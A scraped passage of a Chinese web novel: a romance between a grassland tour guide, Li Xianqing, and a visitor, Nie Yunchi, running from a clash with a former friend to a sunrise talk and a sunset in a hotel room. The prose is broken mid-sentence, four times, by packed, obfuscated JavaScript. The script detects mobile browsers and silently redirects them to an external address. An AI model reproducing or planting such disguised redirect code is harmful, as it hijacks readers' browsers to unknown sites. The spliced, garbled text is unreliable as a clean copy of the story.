“你休想!”这下李现青也摁不住贡央了,贡央自从成年后就已经可以在力量上胜过李现青了,只不过平时都是屈服于哥哥的威严而被李现青压制。 贡央猛地一下站起来,用手指着奕丹鼻子,恶狠狠地说:“去年你说要和我哥单独谈一下,然后转头就给了我哥一拳,今年又想故技重施吗?” “我不会!”奕丹也拔高了声音,“去年……那只是,只是一个误会!” “误会?”他不说还好,一说贡央就更生气了,从小到大他哥就是被大家当成易碎的瓷器养大的,第一次上马是索日娜的爸 爸,他们的叔叔马奇全程陪护,生怕他有什么事情,可是这样连学骑马都舍不得他摔倒的孩子,被一个外人打了,要不是李现青拦着,奕丹绝对不止挨他一个人的打。 贡央在挽袖子了。 李现青拍拍他的肩膀,让他消消气,然后和奕丹说:“有什么话你就现在说完吧。” 奕丹看着李现青的眉眼,反复踟蹰,最后他说:“拉泽,再等等我,你再等等我。” 等? 李现青好像明白过来奕丹想说什么了。 但是已经太晚了。 奕丹曾经占据了他过往生活中很重要的部分,中学到市里读书之后,一到放假回巴布,奕丹就会来找他,和他讲巴布这段时间发生了什么事情,讲自己开始跟着马队出去跑生意了,问他在学校过得怎么样,有没有遇到不开心的事情,有没有交新朋友。 他们躺在草原上一起放牧,他们骑着马去追落日。 他们无话不谈,他们形影不离。 其实他没什么朋友,奕丹就是他最好的朋友。 李现青拥有的东西太少了,所以他会很努力地抓紧每一个。 于是后来去省城读大学的时候,他想,人和人之间到底怎么样才能不分离呢?自己能不能一直和奕丹做朋友,永远不分开? 他带着问题问了自己的舍友。 没想到自己的舍友听完沉默了一阵,然后问他:“现青,你是喜欢他吗?” 李现青怔在原地,喜欢谁?奕丹吗? 可他是自己最好的朋友。 难道好朋友之间想要一直不分开就要变成恋人吗? 他不解,继续问自己的舍友。 结果他舍友听完更沉默了:“小现青啊,你不是应该先反驳我你们都是男的吗……” 在二十岁的那年,李现青终于搞懂了自己的性向。 毕业后回到巴布,他试探着和奕丹说自己的发现,却发现奕丹看着自己的表情就像是看到了什么恶心的东西。 再后来,奕丹给了自己一拳,说就当从来没有认识过自己。 因为那一拳,他缺席了去年的赛马节,在家养了两个月的伤。 然后他想明白了一些事情。 比如有些人注定就是要分开的,不管怎么挽回都没有用。 又比如就算是曾经很重要的人,也可以变回陌生人的。 再比如他和奕丹之间那株还没来得及发芽的种子,彻底死掉了。 但是现在奕丹和他说,等一等自己。 这实在是很像一个不好笑的笑话。 “不可以。”李现青偏过头,不想再看他。 奕丹却很执着:“你等我。拉泽,等这次我跑马回来,我去找你,我们好好聊一下好吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389796|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不好不好不好不好! 李现青觉得烦躁:“你不要来。” “为什么?”奕丹咬牙。 “你也不要问我为什么,就是不要来找我了。我不会等你的。”李现青一鼓作气地把话说完,觉得自己舒服一点了。 奕丹皱眉看着李现青,发现李现青好像真的下定决心不再理他。这对于他来说,无法接受。 原处的马队开始呼唤他回归,到马队该出发的时间了,也好,反正他不想再听到李现青的拒绝,所以奕丹匆匆留下一句话,便转身离开。 那句话说得很轻,李现青没听清,但也不想听了。 “好了,我们该准备午饭了。”见他走了,李现青拍拍手,带着贡央开始摆放桌椅——其实只有桌子,红池城的人喜欢在地上铺上厚地毯,然后席地而坐。 中午吃红池城这边的风味菜,因为世代制盐为生,这里的人口味偏咸,会从玉兰江中捕捞鱼类,喜欢吃用盐腌制食品,以延长食品的保鲜期,特别是给在马队的亲人准备工作时携带的食物时,盐能派上大用场。 蔡弎一行人兴高采烈的回来了,赵和远把直升机还给李现青,说自己拍到了很喜欢的素材,贡央自告奋勇说自己会导,要帮他马上导出来,李现青就把设备留给了他们两个人研究。 李现青在木屋旁边的水池找到的聂云驰。 聂云驰正在用淡水洗脸,刚刚在晒盐田,日头虽然算不上烈,紫外线却很毒,照得人皮肤疼。 看到李现青走过来,他停下动作,用手背简单擦了擦脸,眼角眉梢还带着水汽,看起来整个人雾蒙蒙的:“怎么了?” 李现青不说话,只示意他看自己手里的东西。 是那条围巾。 聂云驰懂了,他走到李现青面前,张开湿漉漉的两只手,像一个要拥抱的姿势:“我的手还湿着,你直接挂我身上吧。” 李现青把围巾往他脖子上一套,聂云驰就顺着力道微微低下头,抬眼去看李现青。 “你不开心。谁惹你了?” 他不说还好,一说李现青就想起刚刚贡央在自己耳边唠叨了一上午《围巾,人生不可承受之重》,于是狠狠地用围巾在他脖子上打了个死结。 “对,勒死你。” “青青,这样勒不死人的。”聂云驰解开一个结,然后牵着李现青的手重新握上活结的两端,接着向两边用力拉紧。 “你干什么!”李现青猛得收回手,在心里骂聂云驰。 自己的手背被他弄湿了,变得很潮,让人发痒。 聂云驰笑笑,把围巾拿下来搭在手臂上。 李现青看着他的动作,反应过来他又在逗自己。 “你很无聊。” “对,和我这个无聊的人一起进去吃饭吧。” 聂云驰另一只手揽过李现青的肩膀,将他带着往木屋走。 李现青下意识乖乖跟着聂云驰走了几步,反应过来后立刻扭身拍开他的手,独自快步进了木屋:“谁要和你一起!” 聂云驰是大坏蛋! 李现青进屋前回头看了一眼。 大坏蛋还站在原地笑。 9. 第 9 章 在红池城吃过饭,简单休整过后,就开始朝着镜湖的方向出发。 镜湖是整趟行程最北端,也是距离巴布城最远的一个景点,从红池城过去大概要五个多小时,等到了的时候天已经黑了。 今天晚上住的地方是这几年兴建起来的民宿,地理位置好,房间的窗户正对着镜湖,李现青带着大家安顿下来,和大家简单介绍了一下明天的行程安排。 “镜湖最好看的时刻有两个,一个是日出,一个是日落,明天这两个时间都可以到镜湖边观景,剩下的时间大家可以在镜湖附近自由活动,上午十一点到下午三点镜湖有开放游船活动,一次差不多三十分钟,喜欢的话可以到游客服务中心购买船票。饮食方面民宿有给大家赠送早午餐,可以凭房卡到餐厅核销领取。” 或许是因为已经在格桑山看过一次日出,第二天早上只有聂云驰一个人爬起来和李现青去了镜湖。 实事求是地讲,镜湖日出确实远不如格桑山壮观,但是胜在温柔静谧,像一面放倒在草原上的镜子,祥和地呈现太阳温和的一面。 李现青一边吃着从民宿餐厅拿的茶叶蛋,一边看天上挂着的咸蛋黄。 聂云驰拧开一瓶牛奶递给他,发现李现青困得闭着眼睛机械地接过就喝,一点戒备心都没有。 像一只早起的小猫,眼睛都没睁开就开始给自己舔毛。 喝了几口牛奶,李现青突然说:“昨天晚上在群里问的时候,大家都不选早上,你要是再晚一点回复,我就准备关掉闹钟睡觉了。” 头天晚上,临睡前李现青在群里确认了一下大家的行程。 “小城森林出游小队(7)” 青青:请大家想明天早上去镜湖看日出的扣1,看日落的扣2,两个都看的扣3~ 小安爱吃姜:222222 姜葱蒜蔡:222 Q:2! 赵常上班:2。 Zephyr:1 看到最后一行消息,李现青从床上坐了起来。 犹豫片刻,点开了和聂云驰的聊天框。 青青:是明天早上看日出的扣1 Zephyr:看到了。 Zephyr:1 青青:要早起的 Zephyr:要我喊你起床吗 青青:是我会喊你起床! Zephyr:[摸摸小猫头.JPG] 这个时间的镜湖人不算多,李现青打了个哈欠,在想要不要回去补觉。 聂云驰看着被朝霞映城粉色的湖面,说:“他们早上都不来。” 李现青困得走神:“嗯嗯。” 聂云驰继续说:“人少一些,更安静。” 李现青感觉自己脑子清醒了一瞬,他把牛奶瓶拿在手上滚来滚去:“哦,那你就是故意的。故意不和他们一起行动。” “这是你猜的。” “那你为什么最后一个回消息?” “我只是刚好回复得晚。” “这是你说的。” “我说的。” 聂云驰单手撑在草地上,风吹起他的头发:“青青,我们之间说话像在玩猜字谜。” 李现青闻言摇摇头:“是我们之间本来就隔着一层雾,你看不清我,我也看不清你,所以两个人谁也不愿意说实话。” 聂云驰沉默片刻,说:“可是你现在就在和我说实话。” “偶尔会想说一说。”李现青把牛奶放在地上,“因为我觉得有些话适合现在说,适合早点说。晚了,就来不及了。” “比如呢?”聂云驰放轻了声音,像怕惊动在湖边停歇的鸟。 “昨天中午,奕丹来找我了。”李现青换了一个话题,“你想知道他和我说什么了吗?” 奕丹。 聂云驰回忆了一下这个名字,哦,李现青的小竹马。 “是他让你不开心的?他说什么了?” “他说,”李现青现在想起来都还有一点想笑,“让我等等他。” 不等聂云驰做出反应,李现青接着说:“但是我告诉他我不会等他。因为有的时候话说得太明白,两个人之间就会没有退路,当初我和他之间闹得太难看了。所以现在我觉得,要是当时我不说实话就好了,这样或许我和他到现在都还会继续做朋友。” 聂云驰听懂了,但是他和李现青说:“青青,不是所有人都可以做朋友。也不是所有朋友都能一直做朋友。” “这是另一个,关于分离的话题。”李现青转过头去看聂云驰,“聂云驰,我们现在是在聊开始。这是完全不一样的情况。” 这是他第一次喊聂云驰的名字。 聂云驰看着他的眼睛,看他微微皱起的眉头,最后看自己的手:“不喊我聂先生了。” “因为现在是真心话环节。是李现青和聂云驰在说话。”李现青轻轻眨了一下眼睛。 聂云驰抬眼和他对视:“好的,李现青请讲。” 李现青笑起来,只露出一个小小的酒窝:“你经历过很多次这种真心话环节吧,经验丰富的金融男。” “虽然不知道为什么你会这样想,但是我保证不是你想象的那样。” “哪样?” “一些关于金融男的刻板印象。” “那你是一个好人吗?” “我想说是,但是如果你准备给我发好人卡的话,那你就当我是坏人吧。” “……”李现青安静地想了一下,然后给了聂云驰一个很满意的答案:“那你现在是坏人了。” 聂云驰松了一口气。 于是他又想起这个话题里一开始提到的人。 “他为什么拒绝你?” “因为他说我不是女孩子。” “所以你真的喜欢过他。” “或许吧,但那个时候太懵懂了,还没有搞清楚就结束了。” “那就是没有喜欢过,懵懂的青春期罢了。”聂云驰决定替李现青给这段模糊的关系盖棺定论,下了一个简单粗暴的结论。 李现青对聂云驰下的定义不做评价,或许是默认了,他只问道:“你呢,你的青春期在做什么?” “在学习。”聂云驰觉得李现青应该不想听这个,于是补充道:“我的母亲是一个非常优秀的律师,从小到大对我的要求都非常高。所以我的青春期里充斥着数不清的试卷乐器运动夏令营,满满当当的,没有缝隙能塞得下其他东西了。” “那你的父亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389797|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?” “他的工作具体不太方便透露,但是目前他和我的母亲处于长期分居状态,比起夫妻,他们更像是彼此的partner,比起谈论温馨的家庭话题,工作是维系他们之间关系最好的纽带。” 李现青点点头,然后提起自己:“我已经记不清父亲母亲的相貌了。” 聂云驰想起来,自己好像从来没听李现青,还是李现青身边的人提到过他的父母。 “我父母都是铁路工人,他们走的时候我还小,听姑姑说那是一场天灾。草原突如其来的一场暴雨,让刚刚挖掘到一半的隧道塌了,我的父母当时都在隧道里面。” 李现青抱着自己的腿,把下巴搁在膝盖上:“当时来了很多记者,对着我们家拍照。再后来,我父母的领导找到我,说给他们都认定了是因公牺牲,工亡抚恤金会由姑姑替我保管到成年,还让我不要担心,即使有抚恤金,单位工会也会一直供养我直到念完大学。其实我小时候也没吃过什么苦,大家都觉得我可怜,所以什么事情都顺着我,上学后老师一看我的档案,就格外关注我。我也不知道自己想干什么能干什么,稀里糊涂地上了大学,毕了业。” 聂云驰听完觉得有些沉重,他从外套的口袋里掏出一块巧克力,拆开包装递过去。 李现青看着巧克力,认出来是第一次见面的时候自己拿给他的,于是低头咬进嘴里。 “所以你看,我们两个完全不一样。” 李现青吃完一块巧克力,觉得嘴里甜到发苦。 聂云驰听到这,终于弄明白李现青到底想说什么了,于是他打断了李现青接下来的发言:“每个人都是不一样的。可能好人聂云驰听到现在会说一些你想听到的话,比如是的,我们不一样,但是我们还是可以继续做朋友。但是我现在是坏人,我只会告诉你不一样才是正确的,人只有在照镜子的时候才能见到一样的自己。” 李现青试图打断他:“你不懂我想说什么。” 但是显然聂云驰打断得更快:“我懂。所以你不要继续说了。” 聂云驰缓了一下,继续说:“是你说的,有些话只要不说出来,那么一切就都还有挽回的余地。分离是这样的话,那开始也是。” “聂云驰,说得太明白会分离,但是不会开始。这两个是相反的。” “那就更不要说明白了。”聂云驰果断道。 不要再说了,不要让我们的开始一点余地都不留,不要让这一切都早早夭折,不要去预设还未发生的一切。 李现青把头埋进臂弯里,那些想一鼓作气说出来的,想拒绝两个人独处的话,想说我们之间不要再继续这种需要猜字谜的关系的话,想说我们之间的距离隔了整整十座格桑山的话,却怎么也说不出口。 过了好一会,才发出一道闷闷的声音:“聂云驰,我不要跟你做朋友了。” “那就不做朋友。”聂云驰回答。 李现青抬起头看他,眼睛像清晨结露的湖水:“李现青和聂云驰不做朋友。” 聂云驰抬手拂过李现青被风扬起的头发,说:“好,李现青和聂云驰不做朋友。” 反正他们之间,从一开始就没打算和对方做朋友。 他们是同一条船上的共犯。 10. 第 10 章 李现青不知道自己是怎么走回房间的,等躺在床上,只觉得大脑一片空白。 再也不要去镜湖看日出了。 日出没看几眼,倒是脑子里进的全是镜湖水。 李现青愤愤想到。 贡央盘腿坐在另一张床上,托腮看着李现青:“哥,不是说你早上起得来,非不让我替你带日出的队吗,怎么累成这样?你们绕湖竞走了?这么辛苦的吗?” 李现青盯着天花板,念道:“不辛苦,命苦。” 贡央问:“那你中午还出去吃饭吗?” 李现青直直地躺好:“不饿,不吃。” 贡央见状,起身道:“那好吧,哥你休息一会儿,他们刚刚在群里说等会想去坐船,我替你去带队吧。” “嗯嗯嗯,你去吧,我下午再上班。”李现青选择闭上眼睛补觉。 等贡央一走,李现青翻了个身,睁开眼看到自己放在床头柜上的手机,静静瞧了一会后伸手拿了过来。 一解锁就看到“小城森林出游小队”的群里有人正在发言。 “小城森林小队(7)” 小安爱吃姜:朋友们,下午去坐船游湖的举手! 姜葱蒜蔡:[举手][举手][举手] 赵常上班:来都来了,都去都去 小安爱吃姜:@青青小向导一起吗? 贡央的汽修店:青青他身体有点不舒服,等一下吃完饭我带大家过去哦! 姜葱蒜蔡:好的[OK] 聂云驰没有在群里发言。 李现青上下滑动了一下聊天记录,把手机锁屏丢到一边,拥着被子决定睡一觉。 过了一会,一只手从被子里伸出来,又把手机拿了过去。 点开聊天界面,一个红色的小圆点提醒都没有。 李现青点开和聂云驰的聊天框,发现两个人的聊天记录其实少得可怜,只需要轻轻一划就到头了。 李现青又想起早上自己没能说出口的话,一时之间埋怨上自己的不争气、不坚定、不决绝,让藕没断丝还连。 但是他又仔细想了想,觉得这一切还是都怪聂云驰。 李现青越想越气,把聂云驰的头像当成他的脑袋,用指尖狠狠戳着泄愤。 没成想这个手机该灵敏的时候不灵敏,平时发个表情包都会误触,而不该灵敏的时候异常灵敏—— “我拍了拍‘烦人洁癖怪’说落班时间到” 李现青连忙再次双击头像企图撤回,结果手抖来抖去错过了最佳时间,撤回拍一拍不仅失败,还二次成功了。 “我拍了拍‘烦人洁癖怪’说落班时间到” 这下李现青彻底绝望了,一把丢开手机把自己摔在床上,只觉得内心有一排只小人在尖叫着疯狂跑圈,尴尬得打了一套军体拳。 手机震动了几下,是有人在给他发消息。 李现青装作没听到。 过了几秒,手机铃声响了,这是有人在给他打电话。 李现青用被子把自己整个裹起来,决定把当缩头乌龟进行到底。 然后安静不过三秒,铃声第二次响起。 李小龟从被子里伸出了头,露出憋气憋得红红的脸蛋,他看着明亮手机屏幕上显示的“烦人洁癖怪”,闭起眼睛用尖尖的下巴去点接听键。 “开门。” 结果聂云驰第一句话就让他“咻”得一下坐起来了。 “你,你不是要去坐船了吗。”李现青抱着被子,看了眼房间门,不敢动。 “怎么不回信息?” 不知道是不是他的错觉,他总感觉聂云驰的声音好像不仅从电话里传出来,还隔着房间门的门缝传进来,将他四面八方包围起来。 李现青点开聊天界面,才发现聂云驰给他回了消息。 Zephyr:怎么了? Zephyr:我看到群消息了,哪里不舒服? Zephyr:说话,青青 Zephyr:你理我一下。 李现青哑然,乍然想起了贡央为自己中午不上班找的借口——是他身体不舒服。 他愣怔着把手机拿到耳边,他回来后一直没喝水,觉得嗓子有一点干。 “没有,没有不舒服。贡央他,他胡说的。你怎么还信了?”李现青顿了顿,“明明我们早上刚见过的。” 聂云驰在电话那头也沉默了一下,李现青听到他叹了一口气:“早上那会,你总是偏着头,我看不清你。” 所以不知道你是不是真的不舒服。 所以担心你是不是需要我的帮助。 刚刚结束一早上真心话环节的两个人,对彼此的一言一行都格外敏感,聂云驰几乎是看到消息的那一刻就往外走,等他反应过来时,已经举着手机站到了李现青房间门口。 “我没事的。你去玩吧,我准备睡一觉。”李现青低着头把被子卷成一个大可颂。 聂云驰也不着急了,他卸力靠在门边的墙上:“昨晚没睡好?” 李现青点头,又想起电话里看不到:“有一点点。” “那你好好休息。” “好,你走吧。” “不见一下再赶我走吗?” “不要。我现在不想见你。” “为什么?” “……我现在没空。” 聂云驰笑了:“好的,没空先生,那我们下午可以见吗?如果下午也不可以的话,那晚上可以见吗?晚上依然不可以的话,那我们明天能不能见?” “一定要见吗?” “一定。” 李现青抿着嘴沉默,然后小小声说:“可以。” “你答应我了。”聂云驰的声音听起来心情不错。 “你快走吧,我要睡觉了。” “再见,青青。” “……再见。” 李现青说完就迅速把电话挂断了。 聂云驰看着被挂断的电话,心情却变好了起来,他敲了敲一直紧闭的房间门,示意自己走了。 李现青坐在床上沉默了一会,然后伸手捂住了自己发烫的脸。 搞什么啊。 李现青这一觉直接睡到了下午,睡到太阳都已经倾斜。 醒来匆忙看手机,发现贡央给他发了信息。 贡央的汽修店:哥,晚点我会带客人们去看日落,你安心睡吧。 李现青在心里小小谴责了一下自己,然后马上给贡央回消息。 青青:谢谢弟弟!今天是靠弟弟努力而不用上班的一天 青青:[耶][耶][欢呼][欢呼] 贡央的汽修店:[我办事,你放心.JPG] 回完贡央的消息,李现青在消息界面划拉了一下,发现聂云驰也给自己发了消息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389798|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Zephyr:[照片][照片] Zephyr:日出更好看一些。 李现青趴在枕头上点开图片,发现是聂云驰在船上拍的湖景。 青青:都说啦,日出和日落的镜湖是最好看的 Zephyr:醒了? 青青:[Tom猫点头.JPG] 一阵突兀的电话铃声突然在安静的房间里响起。 李现青咬唇看着来电人,紧急清了清嗓子,又喝了口水,才接起来。 “喂。” 或许是因为刚睡醒,李现青的声音还轻轻的,有一点软。 电话里溢出聂云驰的笑声,像有人拉动大提琴的弦。 李现青等了一下,发现他不说话,问到:“打我电话做什么?” 聂云驰回答:“确认一下你真的醒了。” 李现青下意识笑了一下:“看了中午的镜湖,是不是后悔不选择看日落了?” “我没有说不看日落。” “昨天晚上你扣的1。” “那是因为我发现我房间的阳台是朝西的,不用出去也能看。” “哦,那你很幸运了。” 聂云驰在电话那头迟疑了一下,语气轻而郑重:“要过来一起看吗?” “什么?”李现青揪紧了被子边。 “我说,要过来我房间一起看日落吗?”聂云驰的声音依旧很轻,像从云层上飘下来,让人怀疑身在梦中。 “你说过,我们可以见面的。” “但是我还没有吃饭。”李现青把被子边揪得像麻花。 “可以叫一下送餐服务,麻烦他们送过来在房间里吃。” 聂云驰顿了顿,又问了一句:“来吗?” 来吗? 李现青沉默着没有回答,聂云驰也不再发问,只静静地等待着。 一时间,只能听见彼此的呼吸声从电话中传来。 而静谧的空气最擅长催动心跳声。 李现青不知道自己沉默了多久,只记得自己最后说了一句。 “好。” 挂掉电话后李现青从床上下来,穿着拖鞋站在落地镜前面,沉默地看着镜子里的自己,良久,他点了点镜子里自己的鼻尖,小小声地和自己说:“青青,你完蛋啦!” 你根本就不想拒绝他。 李现青出门前在房间里磨蹭了一会,认真地用毛巾搓搓脸,换了身衣服,用水把因为睡觉而翘起来的一撮头发给压下去,临走前还对着镜子转了一圈。 他路过一个电梯间,安静地穿过铺着厚厚地毯的走廊,再拐过一个弯,站到了聂云驰的房间前。 李现青对着金属门框的发光看了眼自己,然后纠结了一下是左手敲门还是右手敲门,又天马行空地想了想是要敲两下还是三下。 “叮咚。”最后是用右手摁的门铃。 房门开得很快,打开的时候甚至连门铃声都还没有结束。 聂云驰站在门内,李现青站在门外。 聂云驰定定看着李现青,握着门把的手背上浮起一点青筋。 李现青莫名不敢和他对视,只低下头看两个人相对的鞋尖,说的第一句话是:“聂云驰,我饿了。” 于是聂云驰往后退了一步,留出空位。 然后李现青往前踏了一步,走进门内。 至此,大门关上。 11. 第 11 章 聂云驰关好门,一回头看到李现青背着手,像一只刚到家对新地盘进行巡视的小猫一样在房间里绕圈圈。 因为是临时的住处,聂云驰大部分的个人物品东西都在行李箱里面没有拿出来,比较显眼的就只有桌面上两瓶方向歪了,没来得及盖上瓶盖的香水。 李现青拿起其中一瓶,好奇地观察漂亮的玻璃瓶身上面的花体英文。 “有什么发现吗?”聂云驰抱臂斜靠在左边的墙壁上,一双眼睛跟着李现青的身影,嘴角微微上挑。 李现青回过头去看他:“这个好闻吗?” “不确定你喜不喜欢。”聂云驰走过去,握着李现青的手,按住喷头对着空气轻轻一摁。 喷出来的液体细密如雾,如丝丝春雨,进到空气中的一瞬间迸发出的味道,像阳光长久照着的胡桃木书柜,又有点像在壁炉边披着厚实的羊毛毯在搅拌蜜罐,温暖而厚重。 李现青的鼻翼微微翕动。 确定了刚刚聂云驰开门的时候,自己在风里闻到的味道就是这个。 聂云驰见他闻得认真:“闻到什么味道?” “有点像木头,旧旧的。”李现青抬眼看着他,“很老派的味道。” 聂云驰眼底浮出笑意:“青青好会形容。” 这确实是这个品牌偏老派的一个系列,聂云驰的父亲不喜欢这个系列,但是很喜欢收藏这个品牌其他系列的香水,所以常常会同步给聂云驰寄一些——他总觉得自己的儿子应该和自己很像才对。 但聂云驰每次都会认真收纳好那些瓶瓶罐罐,然后继续用自己挑选的味道。 某种意义上,他怀旧而固执。 李现青平时几乎不喷香水,但是得益于大学专业学的旅游管理,什么品酒品茶品香水的选修课,又有趣又容易拿学分,因此多少懂一些基本的点评。 “我以为你会喜欢一些现代感强一点的香水。” “比如?” 李现青想了想传说中的男主角御用香型,说:“雪松?” “你喜欢这个味道?我这次没有带。”聂云驰把那瓶琥珀檀木香盖好盖子,放回到桌子上。 李现青解释道:“也不是,就是小说里面,男主角一般都是喷这个味道的香水。” “那没办法,让你遇到路人甲了。”聂云驰无奈地摊手。 李现青瞥了他一眼,嘟囔道:“路人甲你好,我是路人乙。” 这下聂云驰是真的笑了,他伸手,用指尖轻轻勾住李现青头顶上翘起来的一撮头发。 “你像小猫一样炸毛了,路人乙先生。” “你好烦!” 李现青大幅度摇动脑袋,试图从聂云驰手底下拯救自己那撮顽强的头发。 聂云驰收回手,也收回那句“这样看起来更像小猫了”。 再逗估计就真炸毛了。 李现青装模作样地咳了两下,然后借着环视的动作转移话题:“好像每次你都能分到单人间。” 聂云驰顺着他的问题点点头:“我有轻度的入眠障碍,不太能和别人同处一个房间,所以一开始我们就商量好了房间的分配。” “那你大学的时候怎么办?”李现青真诚地提出了新问题。 聂云驰实话实说:“我本科在港城,研究生在美国,学校都不强制学生住宿舍。” 李现青想起自己大学那间上下床六人间,墙壁上留满历代学长学姐留下的贴画的宿舍,觉得大城市真是富贵迷人眼。 “那你来巴布之后睡得好吗?有些人到海拔高一些的地方之后会睡不着,你呢?失眠有加剧吗?” “还好。倒是常做梦。” “梦到什么了?” “不记得了,但是隐约感觉应该是个好梦。” 呼吸间,李现青忽然发现自己能清晰闻到一股琥珀檀木香从聂云驰身上隐隐漫出来。 兀然的,在说话的过程中,两个人的距离靠得越来越近。 他下意识后退了一步。 聂云驰注意到了他的动作,眉梢一动,像是故意又往前走了一步。 李现青想再退,小腿却撞上床沿,力气一偏,坐到了床上。 “青青。”聂云驰低下头看他。 这个角度可以看到李现青低头时毛绒绒的头顶,翘起的鼻尖,也能看到他抬头时清澈的瞳孔,下垂的眼角和饱满的唇形。 李现青两只手垂在身侧,有些茫然地抓了一下空气。 他看着聂云驰那双薄薄的眼睛,不合时宜地想起自己第一次见聂云驰,虽然那个时候聂云驰对周边的一切反应都很平淡,但是李现青就是莫名觉得他像一张紧绷的弓弦。 而现在,那张弓弦正对准着自己。 被弓弦瞄准的话,会发生什么? 李现青控制不住地出神。 回过神,他看到聂云驰弯了一下腰。 偏偏这时候门铃响了。 是餐厅的送餐服务。 聂云驰动作一滞,然后看到李现青低下头,从唇边漏出一点笑意:“你快去开门呐,我饿了。” 刚刚那有些莫名的气氛一下子就被门铃声打破了。 聂云驰无奈地直起身子,走出去开门。 李现青坐在床上,看着他的背影浅浅地笑了一声。 今天餐厅准备的晚餐是漂亮的白人饭。 李现青坐在聂云驰房间的沙发上吃完了一份溏心蛋咸味虾恰巴塔,然后在怀里抱个沙拉碗,边跟个兔子一样咯吱咯吱吃草,边看聂云驰盘子里的煎鱼芦笋口蘑沙拉中的溏心蛋。 聂云驰很上道地把溏心蛋放到了李现青的沙拉碗里面。 然后又很自然地给李现青喂了一口提拉米苏。 “你吃得好少。”李现青丝毫没反应过来这有什么不对,只对聂云驰摄入的食物量表示关心。 聂云驰低头又挖了一块提拉米苏,动作熟练地给李现青进行二次投喂:“如果白天没有特别消耗能量的话,我晚上一般不怎么吃东西。” “你在减肥吗?” “有在健身,平时上班作息无法克制,只能控制一下别的东西。” “这样。”李现青装作不经意地打量了眼他的身材,聂云驰在室内脱掉了厚重的外套,只穿一件黑色的绒线高领毛衣,羊绒柔软的质地妥帖地包裹着身体,运动间隐隐露出一些健身的痕迹。 李现青回忆了一下自己上大学后因为只有夏季才参与放牧,而疏于维持锻炼,本就薄薄一层的肌肉也快要消失殆尽了,觉得如果自己和聂云驰打一架的话,自己应该可以直接躺输。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389799|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饱喝足后,李现青终于想起来自己是过来看日落的。 而此时的窗外,太阳开始逐渐靠近镜湖,云霞开始翻涌。 时间倒是刚刚好。 房间的阳台不大,只放了几盆绿植和一架铺着软垫的秋千。 李现青在秋千上坐了下来,还拍拍旁边的位置,让聂云驰过来:“你快来,时间差不多了,这个角度适合看日落。” 但是等聂云驰坐下后,李现青突然有一点后悔。 因为他发现这个秋千有点小,只能刚好坐两个人,而且以他们两个都算得上高挑的体型,坐下后只能肩膀挨着肩膀,膝盖挨着膝盖,那股琥珀檀香的香味又开始包围住他的呼吸。 一阵风吹过,混着来自北方的草籽。 李现青被风吹得打了个喷嚏。 他出门的时候有点急,没有穿外套,只套了一件浅卡其色的毛衣就出来了。 “等我一下。”聂云驰起身进屋拿了件自己的外套出来,然后披到了李现青身上。 李现青眯着眼睛去看如同熔金般灼烧着天际的落日,觉得这件外套上面也带着聂云驰的香水味,自己整个人就好像坐在温暖的林间木屋里用香膏涂抹羊皮纸。 他静静地和聂云驰坐在一起,望着太阳向地平线靠拢,色彩浓郁的晚霞被镜湖忠实地反射,一片绚丽。 等太阳变成不完整的圆,等晚霞爆发出热烈的粉紫色。 “我很喜欢镜湖的日落。这是它一天中最美的时刻。” 李现青望着这一切,只觉得自己有一点快乐。 于是他说了出来。 “聂云驰,我有一点开心。” “一点?”聂云驰偏过头,去看他被夕阳照得泛红的脸颊上桃子般的细细绒毛,看他迎着光的像加了冰块的白兰地般的双瞳。 “一点点。”李现青也转过头回望他,看到自己在聂云驰眼中变成一个小小的影子。 “为什么?”聂云驰突然很想听一个答案。 你的一点开心里面,有一点是因为我吗? “你明明猜到了,却总是要问我。”李现青摇摇头,酒窝在颊边浮现。 “不问你,怎么知道自己猜得对不对?”聂云驰伸手,帮李现青把被风吹乱的头发别到耳后,然后手顿了顿,带着一点犹豫。 “你会猜到的。”李现青眨了眨眼睛,纤长的睫羽在夕照下像蒲公英。 聂云驰的手落了下来,轻轻托住他的脸颊,拇指抵着下颌。 李现青眨眼睛的速度变快了,他看着聂云驰一动不动盯着自己的眼睛,觉得空气变得稀薄起来。 